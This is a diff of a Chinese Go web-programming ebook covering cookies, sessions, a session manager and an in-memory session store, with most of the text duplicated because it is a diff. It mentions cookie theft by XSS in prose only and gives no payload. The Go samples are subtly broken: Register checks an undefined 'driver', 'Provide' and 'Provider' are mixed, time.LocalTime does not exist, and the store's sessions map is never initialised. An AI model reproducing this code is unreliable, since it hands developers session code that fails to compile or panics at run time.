如上文所述,session和cookie的目的相同,都是为了克服http协议无状态的缺陷,但完成的方法不同。session通过cookie,在客户端保存session id,而将用户的其他会话消息保存在服务端的session对象中,与此相对的,cookie需要将所有信息都保存在客户端。因此cookie存在着一定的安全隐患,例如本地cookie中保存的用户名密码被破译,或cookie被其他网站收集(例如:1. appA主动设置域B cookie,让域B cookie获取;2. XSS,在appA上通过javascript获取document.cookie,并传递给自己的appB)。
|
||||
|
||||
|
||||
通过上面的一些简单介绍我们了解了cookie和session的一些基础知识,知道他们之间的联系和区别,做web开发之前,有必要将一些必要知识了解清楚,才不会在用到时捉襟见肘,或是在调bug时候如无头苍蝇乱转。接下来的几小节我们将详细介绍session相关的知识。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [session和数据存储](<06.0.md>)
|
||||
* 下一节: [Go如何使用session](<06.2.md>)
|
||||
# 6.1 session和cookie
|
||||
session和cookie是网站浏览中较为常见的两个概念,也是比较难以辨析的两个概念,但它们在浏览需要认证的服务页面以及页面统计中却相当关键。我们先来了解一下session和cookie怎么来的?考虑这样一个问题:
|
||||
|
||||
如何抓取一个访问受限的网页?如新浪微博好友的主页,个人微博页面等。
|
||||
|
||||
显然,通过浏览器,我们可以手动输入用户名和密码来访问页面,而所谓的“抓取”,其实就是使用程序来模拟完成同样的工作,因此我们需要了解“登陆”过程中到底发生了什么。
|
||||
|
||||
当用户来到微博登陆页面,输入用户名和密码之后点击“登录”后浏览器将认证信息POST给远端的服务器,服务器执行验证逻辑,如果验证通过,则浏览器会跳转到登录用户的微博首页,在登录成功后,服务器如何验证我们对其他受限制页面的访问呢?因为HTTP协议是无状态的,所以很显然服务器不可能知道我们已经在上一次的HTTP请求中通过了验证。当然,最简单的解决方案就是所有的请求里面都带上用户名和密码,这样虽然可行,但大大加重了服务器的负担(对于每个request都需要到数据库验证),也大大降低了用户体验(每个页面都需要重新输入用户名密码,每个页面都带有登录表单)。既然直接在请求中带上用户名与密码不可行,那么就只有在服务器或客户端保存一些类似的可以代表身份的信息了,所以就有了cookie与session。
|
||||
|
||||
cookie,简而言之就是在本地计算机保存一些用户操作的历史信息(当然包括登录信息),并在用户再次访问该站点时浏览器通过HTTP协议将本地cookie内容发送给服务器,从而完成验证,或继续上一步操作。
|
||||
|
||||

|
||||
|
||||
图6.1 cookie的原理图
|
||||
|
||||
session,简而言之就是在服务器上保存用户操作的历史信息。服务器使用session id来标识session,session id由服务器负责产生,保证随机性与唯一性,相当于一个随机密钥,避免在握手或传输中暴露用户真实密码。但该方式下,仍然需要将发送请求的客户端与session进行对应,所以可以借助cookie机制来获取客户端的标识(即session id),也可以通过GET方式将id提交给服务器。
|
||||
|
||||

|
||||
|
||||
图6.2 session的原理图
|
||||
|
||||
## cookie
|
||||
Cookie是由浏览器维持的,存储在客户端的一小段文本信息,伴随着用户请求和页面在Web服务器和浏览器之间传递。用户每次访问站点时,Web应用程序都可以读取cookie包含的信息。浏览器设置里面有cookie隐私数据选项,打开它,可以看到很多已访问网站的cookies,如下图所示:
|
||||
|
||||

|
||||
|
||||
图6.3 浏览器端保存的cookie信息
|
||||
|
||||
cookie是有时间限制的,根据生命期不同分成两种:会话cookie和持久cookie;
|
||||
|
||||
如果不设置过期时间,则表示这个cookie生命周期为从创建到浏览器关闭止,只要关闭浏览器窗口,cookie就消失了。这种生命期为浏览会话期的cookie被称为会话cookie。会话cookie一般不保存在硬盘上而是保存在内存里。
|
||||
|
||||
如果设置了过期时间(setMaxAge(60*60*24)),浏览器就会把cookie保存到硬盘上,关闭后再次打开浏览器,这些cookie依然有效直到超过设定的过期时间。存储在硬盘上的cookie可以在不同的浏览器进程间共享,比如两个IE窗口。而对于保存在内存的cookie,不同的浏览器有不同的处理方式。
|
||||
|
||||
|
||||
### Go设置cookie
|
||||
Go语言中通过net/http包中的SetCookie来设置:
|
||||
|
||||
http.SetCookie(w ResponseWriter, cookie *Cookie)
|
||||
|
||||
w表示需要写入的response,cookie是一个struct,让我们来看一下cookie对象是怎么样的
|
||||
|
||||
type Cookie struct {
|
||||
Name string
|
||||
Value string
|
||||
Path string
|
||||
Domain string
|
||||
Expires time.Time
|
||||
RawExpires string
|
||||
|
||||
// MaxAge=0 means no 'Max-Age' attribute specified.
|
||||
// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
|
||||
// MaxAge>0 means Max-Age attribute present and given in seconds
|
||||
MaxAge int
|
||||
Secure bool
|
||||
HttpOnly bool
|
||||
Raw string
|
||||
Unparsed []string // Raw text of unparsed attribute-value pairs
|
||||
}
|
||||
|
||||
我们来看一个例子,如何设置cookie
|
||||
|
||||
expiration := *time.LocalTime()
|
||||
expiration.Year += 1
|
||||
cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration}
|
||||
http.SetCookie(w, &cookie)
|
||||
|
||||
|
||||
### Go读取cookie
|
||||
上面的例子演示了如何设置cookie数据,我们这里来演示一下如何读取cookie
|
||||
|
||||
cookie, _ := r.Cookie("username")
|
||||
fmt.Fprint(w, cookie)
|
||||
|
||||
还有另外一种读取方式
|
||||
|
||||
for _, cookie := range r.Cookies() {
|
||||
fmt.Fprint(w, cookie.Name)
|
||||
}
|
||||
|
||||
可以看到通过request获取cookie非常方便。
|
||||
|
||||
## session
|
||||
|
||||
session,中文经常翻译为会话,其本来的含义是指有始有终的一系列动作/消息,比如打电话是从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个session。然而当session一词与网络协议相关联时,它又往往隐含了“面向连接”和/或“保持状态”这样两个含义。
|
||||
|
||||
session在Web开发环境下的语义又有了新的扩展,它的含义是指一类用来在客户端与服务器端之间保持状态的解决方案。有时候Session也用来指这种解决方案的存储结构。
|
||||
|
||||
session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存息。
|
||||
|
||||
但程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否包含了一个session标识-称为session id,如果已经包含一个session id则说明以前已经为此客户创建过session,服务器就按照session id把这个session检索出来使用(如果检索不到,可能会新建一个,这种情况可能出现在服务端已经删除了该用户对应的session对象,但用户人为地在请求的URL后面附加上一个JSESSION的参数)。如果客户请求不包含session id,则为此客户创建一个session并且同时生成一个与此session相关联的session id,这个session id将在本次响应中返回给客户端保存。
|
||||
|
||||
session机制本身并不复杂,然而其实现和配置上的灵活性却使得具体情况复杂多变。这也要求我们不能把仅仅某一次的经验或者某一个浏览器,服务器的经验当作普遍适用的。
|
||||
|
||||
## 小结
|
||||
|
||||
如上文所述,session和cookie的目的相同,都是为了克服http协议无状态的缺陷,但完成的方法不同。session通过cookie,在客户端保存session id,而将用户的其他会话消息保存在服务端的session对象中,与此相对的,cookie需要将所有信息都保存在客户端。因此cookie存在着一定的安全隐患,例如本地cookie中保存的用户名密码被破译,或cookie被其他网站收集(例如:1. appA主动设置域B cookie,让域B cookie获取;2. XSS,在appA上通过javascript获取document.cookie,并传递给自己的appB)。
|
||||
|
||||
|
||||
通过上面的一些简单介绍我们了解了cookie和session的一些基础知识,知道他们之间的联系和区别,做web开发之前,有必要将一些必要知识了解清楚,才不会在用到时捉襟见肘,或是在调bug时候如无头苍蝇乱转。接下来的几小节我们将详细介绍session相关的知识。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [session和数据存储](<06.0.md>)
|
||||
* 下一节: [Go如何使用session](<06.2.md>)
|
||||
430
06.2.md → ebook/06.2.md
Executable file → Normal file
430
06.2.md → ebook/06.2.md
Executable file → Normal file
@@ -1,215 +1,215 @@
|
||||
# 6.2 Go如何使用session
|
||||
通过上一小节的介绍,我们知道session是在服务器端实现的一种用户和服务器之间认证的解决方案,目前Go标准包没有为session提供任何支持,这小节我们将会自己动手来实现go版本的session管理和创建。
|
||||
|
||||
## session创建过程
|
||||
session的基本原理是由服务器为每个会话维护一份信息数据,客户端和服务端依靠一个全局唯一的标识来访问这份数据,以达到交互的目的。当用户访问Web应用时,服务端程序会随需要创建session,这个过程可以概括为三个步骤:
|
||||
|
||||
- 生成全局唯一标识符(sessionid);
|
||||
- 开辟数据存储空间。一般会在内存中创建相应的数据结构,但这种情况下,系统一旦掉电,所有的会话数据就会丢失,如果是电子商务类网站,这将造成严重的后果。所以为了解决这类问题,你可以将会话数据写到文件里或存储在数据库中,当然这样会增加I/O开销,但是它可以实现某种程度的session持久化,也更有利于session的共享;
|
||||
- 将session的全局唯一标示符发送给客户端。
|
||||
|
||||
以上三个步骤中,最关键的是如何发送这个session的唯一标识这一步上。考虑到HTTP协议的定义,数据无非可以放到请求行、头域或Body里,所以一般来说会有两种常用的方式:cookie和URL重写。
|
||||
|
||||
1. Cookie
|
||||
服务端通过设置Set-cookie头就可以将session的标识符传送到客户端,而客户端此后的每一次请求都会带上这个标识符,另外一般包含session信息的cookie会将失效时间设置为0(会话cookie),即浏览器进程有效时间。至于浏览器怎么处理这个0,每个浏览器都有自己的方案,但差别都不会太大(一般体现在新建浏览器窗口的时候);
|
||||
2. URL重写
|
||||
所谓URL重写,就是在返回给用户的页面里的所有的URL后面追加session标识符,这样用户在收到响应之后,无论点击响应页面里的哪个链接或提交表单,都会自动带上session标识符,从而就实现了会话的保持。虽然这种做法比较麻烦,但是,如果客户端禁用了cookie的话,此种方案将会是首选。
|
||||
|
||||
## Go实现session管理
|
||||
通过上面session创建过程的讲解,读者应该对session有了一个大体的认识,但是具体到动态页面技术里面,又是怎么实现session的呢?下面我们将结合session的生命周期(lifecycle),来实现go语言版本的session管理。
|
||||
|
||||
### session管理设计
|
||||
我们知道session管理涉及到如下几个因素
|
||||
|
||||
- 全局session管理器
|
||||
- 保证sessionid 的全局唯一性
|
||||
- 为每个客户关联一个session
|
||||
- session 的存储(可以存储到内存、文件、数据库等)
|
||||
- session 过期处理
|
||||
|
||||
接下来我将讲解一下我关于session管理的整个设计思路以及相应的go代码示例:
|
||||
|
||||
### Session管理器
|
||||
|
||||
定义一个全局的session管理器
|
||||
|
||||
type Manager struct {
|
||||
cookieName string //private cookiename
|
||||
lock sync.Mutex // protects session
|
||||
provider Provider
|
||||
maxlifetime int64
|
||||
}
|
||||
|
||||
func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) {
|
||||
provider, ok := provides[provideName]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName)
|
||||
}
|
||||
return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil
|
||||
}
|
||||
|
||||
Go实现整个的流程应该也是这样的,在main包中创建一个全局的session管理器
|
||||
|
||||
var globalSessions *session.Manager
|
||||
//然后在init函数中初始化
|
||||
func init() {
|
||||
globalSessions = NewManager("memory","gosessionid",3600)
|
||||
}
|
||||
|
||||
我们知道session是保存在服务器端的数据,它可以以任何的方式存储,比如存储在内存、数据库或者文件中。因此我们抽象出一个Provider接口,用以表征session管理器底层存储结构。
|
||||
|
||||
type Provider interface {
|
||||
SessionInit(sid string) (Session, error)
|
||||
SessionRead(sid string) (Session, error)
|
||||
SessionDestroy(sid string) error
|
||||
SessionGC(maxLifeTime int64)
|
||||
}
|
||||
|
||||
- SessionInit函数实现Session的初始化,操作成功则返回此新的Session变量
|
||||
- SSessionRead函数返回sid所代表的Session变量,如果不存在,那么将以sid为参数调用SessionInit函数创建并返回一个新的Session变量
|
||||
- SessionDestroy函数用来销毁sid对应的Session变量
|
||||
- SessionGC根据maxLifeTime来删除过期的数据
|
||||
|
||||
那么Session接口需要实现什么样的功能呢?有过Web开发经验的读者知道,对Session的处理基本就 设置值、读取值、删除值以及获取当前sessionID这四个操作,所以我们的Session接口也就实现这四个操作。
|
||||
|
||||
type Session interface {
|
||||
Set(key, value interface{}) error //set session value
|
||||
Get(key interface{}) interface{} //get session value
|
||||
Delete(key interface{}) error //delete session value
|
||||
SessionID() string //back current sessionID
|
||||
}
|
||||
|
||||
>以上设计思路来源于database/sql/driver,先定义好接口,然后具体的存储session的结构实现相应的接口并注册后,相应功能这样就可以使用了,以下是用来随需注册存储session的结构的Register函数的实现。
|
||||
|
||||
var provides = make(map[string]Provide)
|
||||
|
||||
// Register makes a session provide available by the provided name.
|
||||
// If Register is called twice with the same name or if driver is nil,
|
||||
// it panics.
|
||||
func Register(name string, provide Provide) {
|
||||
if driver == nil {
|
||||
panic("session: Register provide is nil")
|
||||
}
|
||||
if _, dup := provides[name]; dup {
|
||||
panic("session: Register called twice for provide " + name)
|
||||
}
|
||||
provides[name] = provide
|
||||
}
|
||||
|
||||
### 全局唯一的Session ID
|
||||
|
||||
Session ID是用来识别访问Web应用的每一个用户,因此必须保证它是全局唯一的(GUID),下面代码展示了如何满足这一需求:
|
||||
|
||||
func (manager *Manager) sessionId() string {
|
||||
b := make([]byte, 32)
|
||||
if _, err := io.ReadFull(rand.Reader, b); err != nil {
|
||||
return ""
|
||||
}
|
||||
return base64.URLEncoding.EncodeToString(b)
|
||||
}
|
||||
|
||||
### session创建
|
||||
我们需要为每个来访用户分配或获取与他相关连的Session,以便后面根据Session信息来验证操作。SessionStart这个函数就是用来检测是否已经有某个Session与当前来访用户发生了关联,如果没有则创建之。
|
||||
|
||||
func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
|
||||
manager.lock.Lock()
|
||||
defer manager.lock.Unlock()
|
||||
cookie, err := r.Cookie(manager.cookieName)
|
||||
if err != nil || cookie.Value == "" {
|
||||
sid := manager.sessionId()
|
||||
session, _ = manager.provider.SessionInit(sid)
|
||||
cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)}
|
||||
http.SetCookie(w, &cookie)
|
||||
} else {
|
||||
sid, _ := url.QueryUnescape(cookie.Value)
|
||||
session, _ = manager.provider.SessionRead(sid)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
我们用前面login操作来演示session的运用:
|
||||
|
||||
func login(w http.ResponseWriter, r *http.Request) {
|
||||
sess := globalSessions.SessionStart(w, r)
|
||||
r.ParseForm()
|
||||
if r.Method == "GET" {
|
||||
t, _ := template.ParseFiles("login.gtpl")
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
t.Execute(w, sess.Get("username"))
|
||||
} else {
|
||||
sess.Set("username", r.Form["username"])
|
||||
http.Redirect(w, r, "/", 302)
|
||||
}
|
||||
}
|
||||
|
||||
### 操作值:设置、读取和删除
|
||||
SessionStart函数返回的是一个满足Session接口的变量,那么我们该如何用他来对session数据进行操作呢?
|
||||
|
||||
上面的例子中的代码`session.Get("uid")`已经展示了基本的读取数据的操作,现在我们再来看一下详细的操作:
|
||||
|
||||
func count(w http.ResponseWriter, r *http.Request) {
|
||||
sess := globalSessions.SessionStart(w, r)
|
||||
createtime := sess.Get("createtime")
|
||||
if createtime == nil {
|
||||
sess.Set("createtime", time.Now().Unix())
|
||||
} else if (createtime.(int64) + 360) < (time.Now().Unix()) {
|
||||
globalSessions.SessionDestroy(w, r)
|
||||
sess = globalSessions.SessionStart(w, r)
|
||||
}
|
||||
ct := sess.Get("countnum")
|
||||
if ct == nil {
|
||||
sess.Set("countnum", 1)
|
||||
} else {
|
||||
sess.Set("countnum", (ct.(int) + 1))
|
||||
}
|
||||
t, _ := template.ParseFiles("count.gtpl")
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
t.Execute(w, sess.Get("countnum"))
|
||||
}
|
||||
|
||||
通过上面的例子可以看到,Session的操作和操作key/value数据库类似:Set、Get、Delete等操作
|
||||
|
||||
因为Session有过期的概念,所以我们定义了GC操作,当访问过期时间满足GC的触发条件后将会引起GC,但是当我们进行了任意一个session操作,都会对Session实体进行更新,都会触发对最后访问时间的修改,这样当GC的时候就不会误删除还在使用的Session实体。
|
||||
|
||||
### session重置
|
||||
我们知道,Web应用中有用户退出这个操作,那么当用户退出应用的时候,我们需要对该用户的session数据进行销毁操作,上面的代码已经演示了如何使用session重置操作,下面这个函数就是实现了这个功能:
|
||||
|
||||
//Destroy sessionid
|
||||
func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){
|
||||
cookie, err := r.Cookie(manager.cookieName)
|
||||
if err != nil || cookie.Value == "" {
|
||||
return
|
||||
} else {
|
||||
manager.lock.Lock()
|
||||
defer manager.lock.Unlock()
|
||||
manager.provider.SessionDestroy(cookie.Value)
|
||||
expiration := time.Now()
|
||||
cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1}
|
||||
http.SetCookie(w, &cookie)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
### session销毁
|
||||
我们来看一下Session管理器如何来管理销毁,只要我们在Main启动的时候启动:
|
||||
|
||||
func init() {
|
||||
go globalSessions.GC()
|
||||
}
|
||||
|
||||
func (manager *Manager) GC() {
|
||||
manager.lock.Lock()
|
||||
defer manager.lock.Unlock()
|
||||
manager.provider.SessionGC(manager.maxlifetime)
|
||||
time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() })
|
||||
}
|
||||
|
||||
我们可以看到GC充分利用了time包中的定时器功能,当超时`maxLifeTime`之后调用GC函数,这样就可以保证`maxLifeTime`时间内的session都是可用的,类似的方案也可以用于统计在线用户数之类的。
|
||||
|
||||
## 总结
|
||||
至此 我们实现了一个用来在Web应用中全局管理Session的SessionManager,定义了用来提供Session存储实现Provider的接口,下一小节,我们将会通过接口定义来实现一些Provider,供大家参考学习。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [session和cookie](<06.1.md>)
|
||||
* 下一节: [session存储](<06.3.md>)
|
||||
# 6.2 Go如何使用session
|
||||
通过上一小节的介绍,我们知道session是在服务器端实现的一种用户和服务器之间认证的解决方案,目前Go标准包没有为session提供任何支持,这小节我们将会自己动手来实现go版本的session管理和创建。
|
||||
|
||||
## session创建过程
|
||||
session的基本原理是由服务器为每个会话维护一份信息数据,客户端和服务端依靠一个全局唯一的标识来访问这份数据,以达到交互的目的。当用户访问Web应用时,服务端程序会随需要创建session,这个过程可以概括为三个步骤:
|
||||
|
||||
- 生成全局唯一标识符(sessionid);
|
||||
- 开辟数据存储空间。一般会在内存中创建相应的数据结构,但这种情况下,系统一旦掉电,所有的会话数据就会丢失,如果是电子商务类网站,这将造成严重的后果。所以为了解决这类问题,你可以将会话数据写到文件里或存储在数据库中,当然这样会增加I/O开销,但是它可以实现某种程度的session持久化,也更有利于session的共享;
|
||||
- 将session的全局唯一标示符发送给客户端。
|
||||
|
||||
以上三个步骤中,最关键的是如何发送这个session的唯一标识这一步上。考虑到HTTP协议的定义,数据无非可以放到请求行、头域或Body里,所以一般来说会有两种常用的方式:cookie和URL重写。
|
||||
|
||||
1. Cookie
|
||||
服务端通过设置Set-cookie头就可以将session的标识符传送到客户端,而客户端此后的每一次请求都会带上这个标识符,另外一般包含session信息的cookie会将失效时间设置为0(会话cookie),即浏览器进程有效时间。至于浏览器怎么处理这个0,每个浏览器都有自己的方案,但差别都不会太大(一般体现在新建浏览器窗口的时候);
|
||||
2. URL重写
|
||||
所谓URL重写,就是在返回给用户的页面里的所有的URL后面追加session标识符,这样用户在收到响应之后,无论点击响应页面里的哪个链接或提交表单,都会自动带上session标识符,从而就实现了会话的保持。虽然这种做法比较麻烦,但是,如果客户端禁用了cookie的话,此种方案将会是首选。
|
||||
|
||||
## Go实现session管理
|
||||
通过上面session创建过程的讲解,读者应该对session有了一个大体的认识,但是具体到动态页面技术里面,又是怎么实现session的呢?下面我们将结合session的生命周期(lifecycle),来实现go语言版本的session管理。
|
||||
|
||||
### session管理设计
|
||||
我们知道session管理涉及到如下几个因素
|
||||
|
||||
- 全局session管理器
|
||||
- 保证sessionid 的全局唯一性
|
||||
- 为每个客户关联一个session
|
||||
- session 的存储(可以存储到内存、文件、数据库等)
|
||||
- session 过期处理
|
||||
|
||||
接下来我将讲解一下我关于session管理的整个设计思路以及相应的go代码示例:
|
||||
|
||||
### Session管理器
|
||||
|
||||
定义一个全局的session管理器
|
||||
|
||||
type Manager struct {
|
||||
cookieName string //private cookiename
|
||||
lock sync.Mutex // protects session
|
||||
provider Provider
|
||||
maxlifetime int64
|
||||
}
|
||||
|
||||
func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) {
|
||||
provider, ok := provides[provideName]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName)
|
||||
}
|
||||
return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil
|
||||
}
|
||||
|
||||
Go实现整个的流程应该也是这样的,在main包中创建一个全局的session管理器
|
||||
|
||||
var globalSessions *session.Manager
|
||||
//然后在init函数中初始化
|
||||
func init() {
|
||||
globalSessions = NewManager("memory","gosessionid",3600)
|
||||
}
|
||||
|
||||
我们知道session是保存在服务器端的数据,它可以以任何的方式存储,比如存储在内存、数据库或者文件中。因此我们抽象出一个Provider接口,用以表征session管理器底层存储结构。
|
||||
|
||||
type Provider interface {
|
||||
SessionInit(sid string) (Session, error)
|
||||
SessionRead(sid string) (Session, error)
|
||||
SessionDestroy(sid string) error
|
||||
SessionGC(maxLifeTime int64)
|
||||
}
|
||||
|
||||
- SessionInit函数实现Session的初始化,操作成功则返回此新的Session变量
|
||||
- SSessionRead函数返回sid所代表的Session变量,如果不存在,那么将以sid为参数调用SessionInit函数创建并返回一个新的Session变量
|
||||
- SessionDestroy函数用来销毁sid对应的Session变量
|
||||
- SessionGC根据maxLifeTime来删除过期的数据
|
||||
|
||||
那么Session接口需要实现什么样的功能呢?有过Web开发经验的读者知道,对Session的处理基本就 设置值、读取值、删除值以及获取当前sessionID这四个操作,所以我们的Session接口也就实现这四个操作。
|
||||
|
||||
type Session interface {
|
||||
Set(key, value interface{}) error //set session value
|
||||
Get(key interface{}) interface{} //get session value
|
||||
Delete(key interface{}) error //delete session value
|
||||
SessionID() string //back current sessionID
|
||||
}
|
||||
|
||||
>以上设计思路来源于database/sql/driver,先定义好接口,然后具体的存储session的结构实现相应的接口并注册后,相应功能这样就可以使用了,以下是用来随需注册存储session的结构的Register函数的实现。
|
||||
|
||||
var provides = make(map[string]Provide)
|
||||
|
||||
// Register makes a session provide available by the provided name.
|
||||
// If Register is called twice with the same name or if driver is nil,
|
||||
// it panics.
|
||||
func Register(name string, provide Provide) {
|
||||
if driver == nil {
|
||||
panic("session: Register provide is nil")
|
||||
}
|
||||
if _, dup := provides[name]; dup {
|
||||
panic("session: Register called twice for provide " + name)
|
||||
}
|
||||
provides[name] = provide
|
||||
}
|
||||
|
||||
### 全局唯一的Session ID
|
||||
|
||||
Session ID是用来识别访问Web应用的每一个用户,因此必须保证它是全局唯一的(GUID),下面代码展示了如何满足这一需求:
|
||||
|
||||
func (manager *Manager) sessionId() string {
|
||||
b := make([]byte, 32)
|
||||
if _, err := io.ReadFull(rand.Reader, b); err != nil {
|
||||
return ""
|
||||
}
|
||||
return base64.URLEncoding.EncodeToString(b)
|
||||
}
|
||||
|
||||
### session创建
|
||||
我们需要为每个来访用户分配或获取与他相关连的Session,以便后面根据Session信息来验证操作。SessionStart这个函数就是用来检测是否已经有某个Session与当前来访用户发生了关联,如果没有则创建之。
|
||||
|
||||
func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
|
||||
manager.lock.Lock()
|
||||
defer manager.lock.Unlock()
|
||||
cookie, err := r.Cookie(manager.cookieName)
|
||||
if err != nil || cookie.Value == "" {
|
||||
sid := manager.sessionId()
|
||||
session, _ = manager.provider.SessionInit(sid)
|
||||
cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)}
|
||||
http.SetCookie(w, &cookie)
|
||||
} else {
|
||||
sid, _ := url.QueryUnescape(cookie.Value)
|
||||
session, _ = manager.provider.SessionRead(sid)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
我们用前面login操作来演示session的运用:
|
||||
|
||||
func login(w http.ResponseWriter, r *http.Request) {
|
||||
sess := globalSessions.SessionStart(w, r)
|
||||
r.ParseForm()
|
||||
if r.Method == "GET" {
|
||||
t, _ := template.ParseFiles("login.gtpl")
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
t.Execute(w, sess.Get("username"))
|
||||
} else {
|
||||
sess.Set("username", r.Form["username"])
|
||||
http.Redirect(w, r, "/", 302)
|
||||
}
|
||||
}
|
||||
|
||||
### 操作值:设置、读取和删除
|
||||
SessionStart函数返回的是一个满足Session接口的变量,那么我们该如何用他来对session数据进行操作呢?
|
||||
|
||||
上面的例子中的代码`session.Get("uid")`已经展示了基本的读取数据的操作,现在我们再来看一下详细的操作:
|
||||
|
||||
func count(w http.ResponseWriter, r *http.Request) {
|
||||
sess := globalSessions.SessionStart(w, r)
|
||||
createtime := sess.Get("createtime")
|
||||
if createtime == nil {
|
||||
sess.Set("createtime", time.Now().Unix())
|
||||
} else if (createtime.(int64) + 360) < (time.Now().Unix()) {
|
||||
globalSessions.SessionDestroy(w, r)
|
||||
sess = globalSessions.SessionStart(w, r)
|
||||
}
|
||||
ct := sess.Get("countnum")
|
||||
if ct == nil {
|
||||
sess.Set("countnum", 1)
|
||||
} else {
|
||||
sess.Set("countnum", (ct.(int) + 1))
|
||||
}
|
||||
t, _ := template.ParseFiles("count.gtpl")
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
t.Execute(w, sess.Get("countnum"))
|
||||
}
|
||||
|
||||
通过上面的例子可以看到,Session的操作和操作key/value数据库类似:Set、Get、Delete等操作
|
||||
|
||||
因为Session有过期的概念,所以我们定义了GC操作,当访问过期时间满足GC的触发条件后将会引起GC,但是当我们进行了任意一个session操作,都会对Session实体进行更新,都会触发对最后访问时间的修改,这样当GC的时候就不会误删除还在使用的Session实体。
|
||||
|
||||
### session重置
|
||||
我们知道,Web应用中有用户退出这个操作,那么当用户退出应用的时候,我们需要对该用户的session数据进行销毁操作,上面的代码已经演示了如何使用session重置操作,下面这个函数就是实现了这个功能:
|
||||
|
||||
//Destroy sessionid
|
||||
func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){
|
||||
cookie, err := r.Cookie(manager.cookieName)
|
||||
if err != nil || cookie.Value == "" {
|
||||
return
|
||||
} else {
|
||||
manager.lock.Lock()
|
||||
defer manager.lock.Unlock()
|
||||
manager.provider.SessionDestroy(cookie.Value)
|
||||
expiration := time.Now()
|
||||
cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1}
|
||||
http.SetCookie(w, &cookie)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
### session销毁
|
||||
我们来看一下Session管理器如何来管理销毁,只要我们在Main启动的时候启动:
|
||||
|
||||
func init() {
|
||||
go globalSessions.GC()
|
||||
}
|
||||
|
||||
func (manager *Manager) GC() {
|
||||
manager.lock.Lock()
|
||||
defer manager.lock.Unlock()
|
||||
manager.provider.SessionGC(manager.maxlifetime)
|
||||
time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() })
|
||||
}
|
||||
|
||||
我们可以看到GC充分利用了time包中的定时器功能,当超时`maxLifeTime`之后调用GC函数,这样就可以保证`maxLifeTime`时间内的session都是可用的,类似的方案也可以用于统计在线用户数之类的。
|
||||
|
||||
## 总结
|
||||
至此 我们实现了一个用来在Web应用中全局管理Session的SessionManager,定义了用来提供Session存储实现Provider的接口,下一小节,我们将会通过接口定义来实现一些Provider,供大家参考学习。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [session和cookie](<06.1.md>)
|
||||
* 下一节: [session存储](<06.3.md>)
|
||||
274
06.3.md → ebook/06.3.md
Executable file → Normal file
274
06.3.md → ebook/06.3.md
Executable file → Normal file
@@ -1,137 +1,137 @@
|
||||
# 6.3 session存储
|
||||
上一节我们介绍了Session管理器的实现原理,定义了存储session的接口,这小节我们将示例一个基于内存的session存储接口的实现,其他的存储方式,读者可以自行参考示例来实现,内存的实现请看下面的例子代码
|
||||
|
||||
package memory
|
||||
|
||||
import (
|
||||
"container/list"
|
||||
"github.com/astaxie/session"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var pder = &Provider{list: list.New()}
|
||||
|
||||
type SessionStore struct {
|
||||
sid string //session id唯一标示
|
||||
timeAccessed time.Time //最后访问时间
|
||||
value map[interface{}]interface{} //session里面存储的值
|
||||
}
|
||||
|
||||
func (st *SessionStore) Set(key, value interface{}) error {
|
||||
st.value[key] = value
|
||||
pder.SessionUpdate(st.sid)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (st *SessionStore) Get(key interface{}) interface{} {
|
||||
pder.SessionUpdate(st.sid)
|
||||
if v, ok := st.value[key]; ok {
|
||||
return v
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (st *SessionStore) Delete(key interface{}) error {
|
||||
delete(st.value, key)
|
||||
pder.SessionUpdate(st.sid)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (st *SessionStore) SessionID() string {
|
||||
return st.sid
|
||||
}
|
||||
|
||||
type Provider struct {
|
||||
lock sync.Mutex //用来锁
|
||||
sessions map[string]*list.Element //用来存储在内存
|
||||
list *list.List //用来做gc
|
||||
}
|
||||
|
||||
func (pder *Provider) SessionInit(sid string) (session.Session, error) {
|
||||
pder.lock.Lock()
|
||||
defer pder.lock.Unlock()
|
||||
v := make(map[interface{}]interface{}, 0)
|
||||
newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v}
|
||||
element := pder.list.PushBack(newsess)
|
||||
pder.sessions[sid] = element
|
||||
return newsess, nil
|
||||
}
|
||||
|
||||
